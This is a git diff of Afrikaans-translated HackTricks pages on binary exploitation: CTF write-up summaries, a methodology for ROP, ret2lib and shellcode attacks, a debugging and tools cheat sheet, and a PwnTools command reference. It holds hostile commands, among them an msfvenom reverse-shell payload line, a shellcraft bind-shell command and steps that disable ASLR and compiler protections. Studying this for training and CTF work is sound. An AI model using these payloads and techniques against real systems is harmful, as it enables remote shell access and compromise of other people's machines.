* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
@ -21,10 +22,10 @@ Hierdie kategorie sluit alle kwesbaarhede in wat voorkom omdat dit moontlik is o
Hier kan jy egter 'n paar mooi **voorbeelde** vind:
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
* Daar is **2 botsende reekse**, een vir **adresse** waar data gestoor word en een met die **groottes** van daardie data. Dit is moontlik om een van die ander te oorskryf, wat dit moontlik maak om 'n arbitêre adres te skryf wat dit as 'n grootte aandui. Dit maak dit moontlik om die adres van die `free`-funksie in die GOT-tabel te skryf en dit dan te oorskryf met die adres na `system`, en roep free aan vanaf 'n geheue met `/bin/sh`.
* Daar is **2 botsende reekse**, een vir **adresse** waar data gestoor word en een met die **groottes** van daardie data. Dit is moontlik om een van die ander te oorskryf, wat dit moontlik maak om 'n arbitêre adres te skryf wat dit as 'n grootte aandui. Dit maak dit moontlik om die adres van die `free`-funksie in die GOT-tabel te skryf en dit dan met die adres na `system` te oorskryf, en roep vry vanaf 'n geheue met `/bin/sh`.
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
* 64-bits, geen nx. Oorskryf 'n grootte om 'n soort buffer-oorvloei te kry waar alles as 'n dubbele getal gebruik gaan word en van kleinste tot grootste gesorteer gaan word, dus dit is nodig om 'n shell-kode te skep wat aan daardie vereiste voldoen, met inagneming dat die kanarie nie van sy posisie af beweeg moet word nie en uiteindelik die RIP oorskryf met 'n adres na ret, wat aan die vorige vereistes voldoen en die grootste adres 'n nuwe adres wat na die begin van die stap wys (uitgelek deur die program) plaas sodat dit moontlik is om die ret te gebruik om daarheen te spring.
* 64-bits, geen nx. Oorskryf 'n grootte om 'n soort buffer-oorvloei te kry waar alles as 'n dubbele getal gebruik gaan word en van kleinste tot grootste gesorteer gaan word, sodat dit nodig is om 'n shell-kode te skep wat aan daardie vereiste voldoen, met inagneming dat die kanarie nie van sy posisie af beweeg moet word nie en uiteindelik die RIP met 'n adres na ret oorskryf, wat aan die vorige vereistes voldoen en die grootste adres 'n nuwe adres wat na die begin van die stap wys (uitgelek deur die program) plaas sodat dit moontlik is om die ret te gebruik om daarheen te spring.
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
* 64-bits, geen relro, kanarie, nx, geen pie. Daar is 'n off-by-one in 'n reeks in die stapel wat dit moontlik maak om 'n aanwyser te beheer wat WWW toeken (dit skryf die som van al die getalle van die reeks in die oorgeskryfde adres deur die off-by-one in die reeks). Die stapel word beheer sodat die GOT `exit`-adres oorskryf word met `pop rdi; ret`, en in die stapel word die adres na `main` bygevoeg (terugkeer na `main`). 'n ROP-ketting om die adres van put in die GOT uit te lek deur puts te gebruik word gebruik (`exit` sal geroep word sodat dit `pop rdi; ret` sal roep en dus hierdie ketting in die stapel uitvoer). Uiteindelik word 'n nuwe ROP-ketting wat ret2lib uitvoer, gebruik.
* 64-bits, geen relro, kanarie, nx, geen pie. Daar is 'n off-by-one in 'n reeks in die stapel wat toelaat om 'n aanwyser te beheer wat WWW toeken (dit skryf die som van al die getalle van die reeks in die oorgeskryfde adres deur die off-by-one in die reeks). Die stapel word beheer sodat die GOT `exit`-adres met `pop rdi; ret` oorgeskryf word, en in die stapel word die adres na `main` bygevoeg (terugkeer na `main`). 'n ROP-ketting om die adres van put in die GOT uit te lek deur puts te gebruik word gebruik (`exit` sal geroep word sodat dit `pop rdi; ret` sal roep en dus hierdie ketting in die stapel uitvoer). Uiteindelik word 'n nuwe ROP-ketting wat ret2lib uitvoer, gebruik.
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
* 32-bits, geen relro, geen kanarie, nx, pie. Misbruik 'n slegte indeksering om adresse van libc en heap van die stapel uit te lek. Misbruik die buffer-oorvloei om 'n ret2lib te doen wat `system('/bin/sh')` roep (die heap-adres is nodig om 'n kontrole te omseil).

View file

@ -1,18 +1,19 @@
# Basiese Binêre Uitbuitingsmetodologie
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## ELF Basiese Inligting
@ -28,7 +29,7 @@ Voordat jy enigiets begin uitbuit, is dit interessant om 'n deel van die struktu
[tools](tools/)
{% endcontent-ref %}
## Stok Oorvloei Metodologie
## Staprofloop Metodologie
Met so baie tegnieke is dit goed om 'n skema te hê wanneer elke tegniek nuttig sal wees. Let daarop dat dieselfde beskermings verskillende tegnieke sal beïnvloed. Jy kan maniere vind om die beskermings in elke beskermingsafdeling te omseil, maar nie in hierdie metodologie nie.
@ -36,13 +37,13 @@ Met so baie tegnieke is dit goed om 'n skema te hê wanneer elke tegniek nuttig
Daar is verskillende maniere waarop jy die vloei van 'n program kan beheer:
* [**Stok Oorvloei**](../stack-overflow/) deur die terugkeerpunt van die stok of die EBP -> ESP -> EIP te oorskryf.
* Mag dalk 'n [**Heeltal Oorvloeie**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* Of via **Willekeurige Skrywe + Skryf Wat Waar na Uitvoering**
* [**Stapeloorvloeiings**](../stack-overflow/) wat die terugkeerpunt van die stapel of die EBP -> ESP -> EIP oorskryf.
* Mag dalk 'n [**Heeltaloorvloeiings**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* Of via **Willekeurige Skrywes + Skryf Wat Waar na Uitvoering**
* [**Formaatreekse**](../format-strings/)**:** Misbruik `printf` om willekeurige inhoud in willekeurige adresse te skryf.
* [**Reeksindeksering**](../array-indexing.md): Misbruik 'n swak ontwerpte indeksering om sekere reekse te beheer en 'n willekeurige skrywe te kry.
* Mag dalk 'n [**Heeltal Oorvloeie**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* **bof na WWW via ROP**: Misbruik 'n bufferoorvloei om 'n ROP te bou en in staat te wees om 'n WWW te kry.
* [**Reeksindeksering**](../array-indexing.md): Misbruik 'n swak ontwerpte indeksering om sekere rye te kan beheer en 'n willekeurige skryf te kry.
* Mag dalk 'n [**Heeltaloorvloeiings**](../integer-overflow.md) moet misbruik om die oorvloei te veroorsaak
* **bof na WWW via ROP**: Misbruik 'n bufferoorvloei om 'n ROP te bou en 'n WWW te kan kry.
Jy kan die **Skryf Wat Waar na Uitvoering** tegnieke vind in:
@ -54,8 +55,8 @@ Jy kan die **Skryf Wat Waar na Uitvoering** tegnieke vind in:
Iets om in ag te neem is dat gewoonlik **net een uitbuiting van 'n kwesbaarheid dalk nie genoeg wees** om 'n suksesvolle uitbuiting uit te voer nie, veral as sekere beskermings omseil moet word. Daarom is dit interessant om oor sommige opsies te bespreek om 'n enkele kwesbaarheid verskeie kere **uitbuitbaar te maak** in dieselfde uitvoering van die binêre lêer:
* Skryf die adres van die **`main`-funksie** in 'n **ROP**-ketting of na die adres waar die **kwesbaarheid** plaasvind.
* Deur 'n behoorlike ROP-ketting te beheer, kan jy al die aksies in daardie ketting uitvoer
* Skryf in 'n **ROP**-ketting die adres van die **`main`-funksie** of na die adres waar die **kwesbaarheid** plaasvind.
* Deur 'n behoorlike ROP-ketting te beheer, kan jy dalk al die aksies in daardie ketting uitvoer
* Skryf die **`exit`-adres in GOT** (of enige ander funksie wat deur die binêre lêer gebruik word voordat dit eindig) die adres om **terug te keer na die kwesbaarheid**
* Soos verduidelik in [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** stoor 2 funksies hier, een om die kwesbaarheid weer te roep en 'n ander om**`__libc_csu_fini`** te roep wat weer die funksie van `.fini_array` sal roep.
@ -64,15 +65,15 @@ Iets om in ag te neem is dat gewoonlik **net een uitbuiting van 'n kwesbaarheid
### Doel: Roep 'n Bestaande funksie aan
* [**ret2win**](./#ret2win): Daar is 'n funksie in die kode wat jy moet roep (miskien met sekere spesifieke parameters) om die vlag te kry.
* In 'n **gewone bof sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en** [**kanarie**](../common-binary-protections-and-bypasses/stack-canaries/) hoef jy net die adres in die terugkeeradres wat in die stok gestoor is, te skryf.
* In 'n **gewone bof sonder** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en** [**kanarie**](../common-binary-protections-and-bypasses/stack-canaries/) hoef jy net die adres in die terugkeeradres wat in die stapel gestoor is, te skryf.
* In 'n bof met [**PIE**](../common-binary-protections-and-bypasses/pie/), sal jy dit moet omseil
* In 'n bof met [**kanarie**](../common-binary-protections-and-bypasses/stack-canaries/), sal jy dit moet omseil
* As jy verskeie parameters moet instel om die **ret2win**-funksie korrek te roep, kan jy gebruik maak van:
* 'n [**ROP**](./#rop-and-ret2...-techniques) **ketting as daar genoeg gadgets is** om al die parameters voor te berei
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (indien jy hierdie syscall kan roep) om 'n groot aantal register te beheer
* Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie register te beheer
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (indien jy hierdie syscall kan roep) om 'n groot aantal registers te beheer
* Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie registers te beheer
* Deur 'n [**Skryf Wat Waar**](../arbitrary-write-2-exec/) te gebruik, kan jy ander kwesbaarhede (nie bof nie) misbruik om die **`wen`**-funksie te roep.
* [**Aanwysers wat omleiding gee**](../stack-overflow/pointer-redirecting.md): In geval die stok aanwysers na 'n funksie bevat wat geroep gaan word of na 'n string wat deur 'n interessante funksie gebruik gaan word (stelsel of printf), is dit moontlik om daardie adres te oorskryf.
* [**Aanwysers wat omleiding gee**](../stack-overflow/pointer-redirecting.md): In geval die stapel aanwysers bevat na 'n funksie wat geroep gaan word of na 'n string wat deur 'n interessante funksie gebruik gaan word (stelsel of printf), is dit moontlik om daardie adres te oorskryf.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) mag die adresse beïnvloed.
* [**Ongeïnisialiseerde veranderlikes**](../stack-overflow/uninitialized-variables.md): Jy weet nooit.
@ -80,37 +81,37 @@ Iets om in ag te neem is dat gewoonlik **net een uitbuiting van 'n kwesbaarheid
#### Via skelkode, indien nx gedeaktiveer of skelkode met ROP gemeng:
* [**(Stok) Skelkode**](./#stack-shellcode): Dit is nuttig om 'n skelkode in die stok te stoor voor of na die oorskrywing van die terugkeerpunt en dan daarna te spring om dit uit te voer:
* [**(Stapel) Skelkode**](./#stack-shellcode): Dit is nuttig om 'n skelkode in die stapel te stoor voor of na die oorskrywing van die terugkeerpunt en dan daarnaar te spring om dit uit te voer:
* **In enige geval, as daar 'n** [**kanarie**](../common-binary-protections-and-bypasses/stack-canaries/)** is, in 'n gewone bof sal jy dit moet omseil (leak)**
* **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) is dit moontlik om na die adres van die stok te spring aangesien dit nooit sal verander nie
* **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) nodig hê om daarheen te spring
* **Met** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), sal jy 'n paar [**ROP**](../rop-return-oriented-programing/) **moet gebruik om `memprotect` te roep** en 'n paar bladsye `rwx` te maak, sodat jy dan **die skelkode daar kan stoor** (deur byvoorbeeld read te roep) en dan daarheen te spring.
* **Sonder** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) is dit moontlik om na die adres van die stapel te spring aangesien dit nooit sal verander nie
* **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sal jy tegnieke soos [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) moet gebruik om daarheen te spring
* **Met** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), sal jy 'n paar [**ROP**](../rop-return-oriented-programing/) **moet gebruik om `memprotect` te roep** en 'n paar bladsye `rwx` te maak, sodat jy dan **die skelkode daar kan stoor** (deur byvoorbeeld lees te roep) en dan daarheen te spring.
* Dit sal skelkode met 'n ROP-ketting meng.
#### Via syscalls
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Nuttig om `execve` te roep om willekeurige bevele uit te voer. Jy moet in staat wees om die **gadgets te vind om die spesifieke syscall met die parameters te roep**.
* As [**ASLR**](../common-binary-protections-and-bypasses/aslr/) of [**PIE**](../common-binary-protections-and-bypasses/pie/) geaktiveer is, sal jy hulle moet oorwin **om ROP gadgets te gebruik** van die binêre of biblioteke.
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) kan nuttig wees om die **ret2execve** voor te berei.
* Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie register te beheer
* Gadgets van [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) en [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) om verskeie registers te beheer
#### Via libc
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Nuttig om 'n funksie van 'n biblioteek (gewoonlik van **`libc`**) te roep soos **`system`** met voorbereide argumente (bv. `'/bin/sh'`). Jy het die binêre nodig om die biblioteek te **laai met die funksie wat jy wil roep** (gewoonlik libc).
* As **staties saamgestel en geen** [**PIE**](../common-binary-protections-and-bypasses/pie/), sal die **adres** van `system` en `/bin/sh` nie verander nie, dus is dit moontlik om hulle staties te gebruik.
* **Sonner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en met kennis van die gelaaide libc weergawe**, sal die **adres** van `system` en `/bin/sh` nie verander nie, dus is dit moontlik om hulle staties te gebruik.
* Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **maar geen** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, met kennis van die libc en met die binêre wat die `system`** funksie gebruik, is dit moontlik om **`ret` na die adres van system in die GOT** te gaan met die adres van `'/bin/sh'` in die param (jy sal dit moet uitfigure).
* **Sondef** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en met kennis van die gelaaide libc weergawe**, sal die **adres** van `system` en `/bin/sh` nie verander nie, dus is dit moontlik om hulle staties te gebruik.
* Met [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **maar geen** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, met kennis van die libc en met die binêre wat die `system`** funksie gebruik, is dit moontlik om **`ret` na die adres van system in die GOT** te spring met die adres van `'/bin/sh'` in die parameter (jy sal dit moet uitfigure).
* Met [ASLR](../common-binary-protections-and-bypasses/aslr/) maar geen [PIE](../common-binary-protections-and-bypasses/pie/), met kennis van die libc en **sonder die binêre wat die `system`** gebruik:
* Gebruik [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) om die adres van `system` op te los en dit te roep&#x20;
* **Oorbrug** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) en bereken die adres van `system` en `'/bin/sh'` in die geheue.
* **Met** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **en** [**PIE**](../common-binary-protections-and-bypasses/pie/) **en sonder kennis van die libc**: Jy moet:
* Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
* Vind die **`libc` weergawe** wat gebruik word (leak 'n paar funksie adresse)
* Vind die **`libc` weergawe** wat gebruik word (leak 'n paar funksie-adresse)
* Kontroleer die **vorige scenarios met ASLR** om voort te gaan.
#### Via EBP/RBP
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Beheer die ESP om RET te beheer deur die gestoorde EBP in die stapel.
* Nuttig vir **af-een-stapel oorvloei**
* Nuttig vir **een-vir-een** stapel oorvloei
* Nuttig as 'n alternatiewe manier om EIP te beheer terwyl EIP misbruik word om die lading in die geheue te konstrueer en dan daarna te spring via EBP
#### Misc

View file

@ -1,18 +1,19 @@
# Uitbuitingsgereedskap
# Uitbuitingshulpmiddels
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Metasploit
```bash
@ -36,6 +37,8 @@ msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread]
```bash
apt-get install gdb
```
### Parameters
### Parameters
```bash
-q # No show banner
@ -90,7 +93,7 @@ x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
Jy kan opsioneel hierdie vurk van [**GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) gebruik wat meer interessante instruksies bevat.
Jy kan opsioneel hierdie [**tak van GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) gebruik wat meer interessante instruksies bevat.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -147,7 +150,7 @@ Tydens die foutopsporing sal GDB **effens verskillende adresse hê as wat deur d
#### Terugvoer om opgeroepen funksies te vind
Wanneer jy 'n **staties gekoppelde binêre lêer** het, sal al die funksies aan die binêre lêer behoort (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om **die vloei wat die binêre lêer volg om byvoorbeeld vir gebruikersinvoer te vra te identifiseer**.\
Wanneer jy 'n **staties gekoppelde binêre lêer** het, sal al die funksies behoort aan die binêre lêer (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om **die vloei wat die binêre lêer volg om byvoorbeeld vir gebruikersinvoer te vra te identifiseer**.\
Jy kan hierdie vloei maklik identifiseer deur die binêre lêer met **gdb** te **hardloop** totdat jy vir insette gevra word. Stop dit dan met **CTRL+C** en gebruik die **`bt`** (**backtrace**) bevel om die opgeroepen funksies te sien:
```
gef➤ bt
@ -181,7 +184,7 @@ Kry elke opcode wat in die program uitgevoer word.
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompileer sonder beskerming\
**-o** --> Uitset\
**-g** --> Stoor kode (GDB sal dit kan sien)\
**-g** --> Berg kode op (GDB sal dit kan sien)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Om die ASLR in Linux af te skakel
**Om 'n shellcode te kompileer:**\
@ -198,7 +201,7 @@ Kry elke opcode wat in die program uitgevoer word.
**-s -j .got** --> got afdeling\
\-D -s -j .plt --> **plt** afdeling **ontbin**\
**-TR** --> **Herlokasies**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om in GOT te wysig\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om te wysig in GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Adres van 'n statiese veranderlike (hierdie word gestoor in DATA afdeling).
## Kernafleidings
@ -230,20 +233,21 @@ Binne die IDA-vouer kan jy bineêre lêers vind wat gebruik kan word om 'n bine
```
./linux_server64 -Ppass
```
Dan, stel die debugger op: Debugger (linux remote) --> Proses opsies...:
Dan, stel die debugger in: Debugger (linux remote) --> Proses opsies...:
![](<../../../.gitbook/assets/image (858).png>)
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# PwnTools
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
```
pip3 install pwntools
```
@ -64,7 +65,7 @@ pwn debug --process bash
* Volgens uitvoerbare lêer, volgens naam of volgens pid konteks (16,32,64,linux,windows...)
* gdbskrip om uit te voer
* sysrootpath
* sysrootpad
## Pwn disablenx
@ -74,7 +75,7 @@ pwn disablenx <filepath>
```
## Pwn disasm
Ontassemleer heks opcodes
Ontassemleer heksadesimale opcodes
```
pwn disasm ffe4
```
@ -90,7 +91,7 @@ Druk verskille tussen 2 lêers af
```
pwn elfdiff <file1> <file2>
```
## Vang heksadesimale voorstelling
## Kry heksadesimale voorstelling
```bash
pwn hex hola #Get hex of "hola" ascii
```
@ -131,7 +132,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
* vermy om opcodes te gebruik (verstek: nie nul en nuwe lyn)
* Voer die shellcode uit
* Kleur/geen kleur
* lys stelseloproepe
* lys stelsoproepe
* lys moontlike shellkodes
* Genereer ELF as 'n gedeelde biblioteek
@ -155,16 +156,17 @@ Om pwntools te update
```
pwn update
```
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
